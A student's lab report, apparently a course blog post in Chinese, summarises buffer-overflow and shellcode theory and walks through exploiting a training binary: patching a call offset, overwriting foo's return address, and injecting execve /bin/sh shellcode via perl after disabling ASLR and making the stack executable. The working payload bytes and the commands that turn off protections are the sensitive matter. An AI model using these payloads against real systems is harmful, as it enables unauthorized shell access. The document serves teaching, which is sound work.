20211902 毕鑫杰 2021-2022-2 《网络攻防实践》第十一周作业

 

一、知识梳理

软件安全概述

  • 导致软件安全困境的要素:复杂性、可扩展性、连通性

软件安全漏洞类型:

  • 内存安全违规类漏利是在软件开发过程中在处理RAM(random-access memory)内存 访问时所引入的命令缺陷
  • 输入验证类安全漏洞是指软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用
  • 竞争条件类通常在涉及多线程或多进程处理的程序中出现, 是指处理进程的输出或者结果无法预测, 并依赖千其他进程事件发牛的次序或时间时, 所导致的错误。
  • 权限混淆与提升类漏洞是指计算机程序由千自身编程疏忽或被第三力欺骗, 从而滥用其权限, 或赋予第三方不该给予的权限。

缓冲区溢出基础概念

缓冲区溢出是计算机程序中存在的一类内存安全违规类湍洞, 在计算机程序向特定缓冲区内填充数据时, 超出了缓冲区本身的容狱, 导致外溢数据覆盖了相邻内存空间的合法数据, 从而改变程序执行流程破坏系统运行先整性。

缓冲区溢出攻击原理:缓 冲区溢出女全湍洞的根本问题在于用户输入可控制的缓冲区操作缺乏对目标缓冲区的边界 安全保护,这其中包含两个耍素,首先是程序中存在着缺乏边界安全保护的缓冲区操作,其次是这个缓冲区操作必须是用户输入可以控制的

Linux平台的栈溢出与Shellcode

Linux平台栈溢出攻击技术

  • NSR 主要适用于被溢出的缓冲区变量比较大, 足以容纳Shellcode 的清空, 其攻击数据从低地址到高地址的构造方式是一堆Nop 指令(即空操作指令)之后填充Shellcode,再加上一些期望覆盖RET 返回地址的调转地址, 从而构成了NSR 攻击数据缓冲区
  • 第二种栈溢出的校式为RNS 模式, 一般用于被溢出的变量比较小, 不足以容纳shellcode的情况
  • 第三种Linux平台上的栈溢出攻击橾式是RS模式,这种模式Shellcode放置在目标淄洞程序执行时的环境变榄中,由千环境变噩是位于Linux进程空间的栈底位置, 因而不会受到各种变址内存分配与对齐因素的影响, 其位置是固定的

Linux平台的Shellcode实现技术

Linux本地Shellcode实现机制:Linux 系统中一个最简单的本地 Shellcode 的产生过程, 而这个过程事实上也体现了 Shellcode 的通用方法, 包括如下5个步骤:先用高级编程语言, 通常用C, 来编写 Shellcode 程序;
编译并反汇编调试这个 Shellcode 程序;
从汇编语言代码级别分析程序执行流程;
整理生成的汇编代码, 尽量减小它的体积并使它可注入, 并可通过嵌入C语言进行运行测试和调试;
提取汇编代码所对应的 opcode 二进制指令, 创建 Shellcode 指令数组。

Linux 远程 Shellcode 实现机制

Linux远片早Shellcode需要让攻击目标程序创建socket监听指定的端口等待客户端连接,启动个命令行Shell并将命令行的输入输出与socket绑定,这样攻击者就可以通过socket客户端连接目标程序所在主机的开放端口, 与服务端socket建立起通信通道, 并获得远程访问Shell。

Windows平台上的栈溢出与Shellcode

Windows平台栈溢出攻击技术

Windows 平台栈溢出攻击技术机理:Windows 操作系统平台在很多方面与linux 操作系统具们显诸小回的实现机制

  • 对程序运行过程中废弃栈的处押方式差异
  • 进程内存空间的布局差异
  • 系统功能调用的实现方式差异

Windows平台Shellcode实现技术

Windows本地Shellcode:在Windows 上, 典型的本地Shellcode 同样也是启动一个命令行Shell, 即"command.com” 或'cmd.exe", Windows 32的系统API中捉供了system()函数调用, 可以用于启动指定程序或运行特定命令,在调用system ("command.com” )之后即可启动命令行程序。
Windows远程Shellcode:创建一个服务器端socket, 并在指定的端口上监听;通过accept()接受客户端的网络连接;创建子进程, 运行 “ cmd.exe", 启动命令行;创建两个管道, 命令符道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令, 连接至cmd.exe的标准输入; 然后输出忤道将cmd. exe 的标准输出连按个 服务器端socket的发送(send), 通过网络将运行结果反馈给客户端。

堆溢出攻击

函数指针改写:需要被溢出的缓冲区临近令局函数指针存储地址, 且在其低地址方向。 在符合这种变量布局的条件下, 当向缓冲区填充数据时, 如果没有边界判断和控制的话, 那么缓冲区溢出之后就会自然地覆盖函数指针所在的内存区,从而改写函数指针的指向地址, 攻击者只要能够将该函数指针指向恶意构造的Shellcode入口地址,在程序使用函数指针调用原先期望的函数时, 就会转而执行Shellcode。
C++类对象虚函数表改写:对于使用了虚函数机制的C++类, 如果它的类成员变量中存在可被溢出的缓冲区, 那么就可以进行堆溢出攻击, 通过覆盖类对象的虚函数指针, 使只指向一个特殊构造的虚函数表, 从而转向执行攻击者恶意注入的指令。

缓冲区溢出攻击的防御技术

尝试杜绝溢出的防御技术;允许溢出但不让程序改变执行流程的防御技术;无法让攻击代码执行的防御技术

二、实践内容

1.实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击 

三、实践过程

1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

从云班课资源下载pwn1文件,放入命令行起始路径,运行objdump -d pwn1 | more命令pwn1文件进行反汇编

 

 

 查看反汇编结果,如图是main、getShell、foo函数情况,可见main函数执行到call处,EIP应该会指向0x08048ba + 0xffffffd7 = 0x08048491即foo函数的入口地址,需要修改该偏移量0xffffffd7使执行call后EIP指向0x080487d,即getShell函数入口,0x0804847d - 0x080484ba = 0xffffffc3,将0xffffffd7改为0xffffffc3

 

 

使用cp pwn1 pwn2命令将pwn1备份作pwn2,使用vim pwn1命令打开pwn1文件,看到的是乱码,结果如下图所示

 

 

 通过命令“:%! xxd”,回车,将显示模式切换为16进制模式:

 

 

 如下图,d7即我们需要修改的地址偏移量,将这个d7修改为c3(按下r进行替换),修改完成后,通过“:%! xxd -r”将显示改回原格式,esc “:wq”保存并退出。

 

 

 

 

 

输入”objdump -d pwn1”命令反汇编查看call指令已调用函数getshell。

 

 

 

 对pwn1文件再次反汇编,查看修改后的结果是正确的

 

 

 

通过ls -alh pwn1;chmod +x pwn1命令获得文件运行权限, 运行pwn1文件,可以看到pwn1运行后获得shell,结果如下。

 

 

 

2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

使用之前未被篡改的pwn1文件,使用objdump -d pwn1 | more将pwn1反汇编后查看foo函数。该可执行文件正常运行要调用foo函数,函数有Bof漏洞,foo函数读入字符串,但系统只预留了32字节的缓冲区,超出部分造成溢出,我们的目标是覆盖返回地址。正常情况下,call调用函数foo会在堆栈上压入返回地址:0x80484ba。

 

 

 

安装gdb环境

 

 

 

 

 

 

 通过“gdb pwn1”命令调式程序。

 

 

 

 

输入“r”,表示运行这个文件,输入有规律的字符串根据云班课的视频输入11111111222222223333333344444444\x7d\x84\x04\x08\x0a,程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出。

 

 

 输入“info r”查看寄存器eip的值,发现输入的后几位的“1234”覆盖到了堆栈上的返回地址。只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。

 

 

 通过前面的反汇编结果可以看到Getshell的地址为0804847d。确认字节序,是输入“11111111222222223333333344444444\x08\x04\x84\x7d”,还是输入“11111111222222223333333344444444\x7d\x84\x04\x08”。

 

3. 注入一个自己制作的shellcode并运行这段shellcode。

 安装execstack并使用execstack -s pwn3命令将pwn3文件设置为堆栈可执行

 

 

 

 使用echo "0" > /proc/sys/kernel/randomize_va_space命令,关闭地址随机化,并通过more /proc/sys/kernel/randomize_va_space命令验证。

 

 

 

 根据云班课中视频生成内容如下的输入程序。
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

使用(cat input_shellcode;cat) | ./pwn3 命令来将input_shellcode的命令输入到pwn1文件中去,运行pwn1程序。

 

 

 另打开一终端,输入ps -ef | grep pwn3指令,查看pwn3运行的进程号25295。

 

 

 

 用gdb的“attach 3578”命令启动gdb调试这个进程。

 

 

 

 

 

 用“disassemble foo”命令反汇编。

 

 

 输入“b *0x080484ae”命令设置断点,输入“c”命令(continue)继续运行,查看注入buf的内存地址。

 

 在进程正在运行的终端敲回车,使其继续执行。

 

 再返回调试终端,输入“info r esp”命令查找地址为“x/16x 0xffffd350”。

输入“x/16x 0xffffd350”命令查看其存放内容,看到了0xffffd350,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd350+0x00000004=0xffffd354,所以地址应为0xffffd354。

 

 

 

 修改地址为0xffffd354,命令

perl -e 'print "A" x 32;print "\x54\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 

 

再次使用命令(cat input_shellcode;cat) | ./pwn3,再输入ls,查看到目录信息,可得知shellcode注入成功。

 

 

 

 

 

 

 

 

四、学习中遇到的问题及解决

 

1. 在打开文件时遇到错误,经陈津同学指导,通过如图指令解决。

 

 

 

2.在装载execstack环境工具时遇到问题,在王琪同学帮助下通过外部下载文件安装解决,详细参照正文实践内容。

 

  

 五、学习感想和体会 

本次实验所涉及的软件安全、缓冲区溢出等内容更偏向于计算机底层相关知识,在实践理解学习的过程中,我对栈溢出、Shellcode实现技术也有了学习了解,弥补了之前相关知识的缺失。

posted @ 2022-05-15 19:36  再来人  阅读(32)  评论(0编辑  收藏  举报